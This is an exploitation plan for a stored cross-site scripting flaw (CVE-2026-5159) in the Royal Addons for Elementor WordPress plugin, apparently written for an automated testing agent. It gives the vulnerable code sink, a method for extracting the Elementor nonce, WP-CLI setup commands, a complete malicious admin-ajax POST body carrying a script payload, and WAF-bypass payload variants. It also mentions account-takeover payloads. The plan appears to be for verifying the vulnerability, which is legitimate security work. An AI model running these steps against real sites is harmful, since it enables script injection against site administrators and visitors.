Exploitation Research Plan: CVE-2026-5159

1. Vulnerability Summary

The Royal Addons for Elementor plugin (up to version 1.7.1056) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists within the Instagram Feed widget's processing of the instagram_follow_text setting. Due to missing input sanitization and output escaping, a user with Contributor-level access or higher can inject arbitrary scripts into a page via the Elementor editor. These scripts execute when any user views the affected page.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php (via Elementor's elementor_ajax action).
• Vulnerable Parameter: instagram_follow_text within the widget settings JSON.
• Authentication Level: Contributor+.
• Precondition: An Administrator must have previously configured a valid-looking Instagram Access Token in the plugin's settings (usually stored in wp_options as something like wpr_instagram_access_token or configured in the widget settings).
• Payload: <script>alert(document.domain)</script> or an admin-account-takeover payload.

3. Code Flow

1. Entry Point: An authenticated Contributor user opens a post in the Elementor Editor.
2. Input: The user adds the wpr-instagram-feed widget to the page and modifies the "Follow Button Text" (instagram_follow_text) setting.
3. Data Storage: When the user clicks "Update" in Elementor, a POST request is sent to admin-ajax.php with the action elementor_ajax. The command editor_post_save is used. Elementor saves the widget settings as a JSON blob in the _elementor_data post meta.
4. Widget Rendering: The plugin registers the widget in assets/js/frontend.js as wpr-instagram-feed.default.
5. Sink: In the PHP render() method of the Instagram Feed widget (likely located in modules/instagram-feed/widgets/wpr-instagram-feed.php), the code retrieves the setting:

   $settings = $this->get_settings_for_display();
   // ... logic to check for instagram access token ...
   if ( ! empty( $settings['instagram_follow_text'] ) ) {
       echo '<span class="wpr-instagram-follow-text">' . $settings['instagram_follow_text'] . '</span>'; // VULNERABLE SINK
   }
   

6. Execution: The unescaped HTML/JS is rendered into the public-facing page.

4. Nonce Acquisition Strategy

To save data in Elementor as a Contributor, we need the elementor_ajax nonce.

1. Create a Page: Use WP-CLI to create a page and enable Elementor for it.
2. Access Editor: Navigate to the Elementor editor URL for that page: /wp-admin/post.php?post=[ID]&action=elementor.
3. Extract Nonce: The Elementor configuration object is stored in the global JavaScript variable elementorCommon.
   • Use browser_eval to extract the nonce: browser_eval("elementorCommon.config.ajax.nonce").
4. Alternative: The nonce can often be found in the localized script elementor-editor-js-extra under the key nonce.

5. Exploitation Strategy

Step 1: Pre-configuration (Admin)

Ensure the Instagram widget is "active" by simulating a valid token configuration.

wp option update wpr_instagram_access_token "FAKE_TOKEN_12345"

Step 2: Create Target Page (Contributor)

wp post create --post_type=page --post_title="XSS Page" --post_status=publish --post_author=[CONTRIBUTOR_ID]
# Get the Post ID

Step 3: Extract Elementor Nonce

Navigate to the Elementor editor as the Contributor and run:
browser_eval("window.elementorConfig?.ajax?.nonce || elementorCommon.config.ajax.nonce")

Step 4: Submit Malicious Widget Data

Perform a POST request to wp-admin/admin-ajax.php using the http_request tool.

Request Details:

• URL: http://[target]/wp-admin/admin-ajax.php?action=elementor_ajax
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

actions={"editor_post_save":{"action":"editor_post_save","data":{"status":"publish","elements":[{"id":"[GENERATE_ID]","elType":"section","settings":[],"elements":[{"id":"[GENERATE_ID]","elType":"column","settings":{"_column_size":100},"elements":[{"id":"[GENERATE_ID]","elType":"widget","widgetType":"wpr-instagram-feed","settings":{"instagram_follow_text":"<script>alert(document.domain)</script>","instagram_access_token":"FAKE_TOKEN"}}]}]}]}}}&_nonce=[EXTRACTED_NONCE]&post_id=[POST_ID]

Step 5: Trigger XSS

Navigate to the permalink of the created page: http://[target]/?p=[POST_ID].

6. Test Data Setup

1. User: Contributor user.
2. Plugin Settings: The Instagram Feed widget must be enabled. Since version 1.7.1056 is targeted, ensure it is installed and the wpr_instagram_access_token is set in the database (or the widget-level setting is used).
3. Elementor: Elementor must be active and the created page must be edited with Elementor.

7. Expected Results

• The AJAX response should return {"success":true,...}.
• Upon viewing the page, an alert box with the site's domain should appear.
• Viewing the HTML source of the page should show:
  <span class="wpr-instagram-follow-text"><script>alert(document.domain)</script></span>

8. Verification Steps

1. Verify DB Storage:

   wp post meta get [POST_ID] _elementor_data
   

   Check if the JSON contains the string <script>alert(document.domain)</script>.
2. Confirm Execution: Use browser_navigate to the page and check for the presence of the alert or the script tag in the DOM.

9. Alternative Approaches

• If editor_post_save fails: Try using the standard save_post hook if Royal Addons provides a standalone settings page for Instagram feeds that accepts instagram_follow_text.
• Payload variations: If <script> is blocked by a basic WAF, use img tags with onerror:
  <img src=x onerror=alert(1)>
• Dependency check: If the feed doesn't render because the "token" is invalid, try to find a widget template that renders the follow button regardless of the feed loading status (e.g., if "Show Follow Button" is enabled in settings). Look for the control name instagram_show_follow in the widget settings.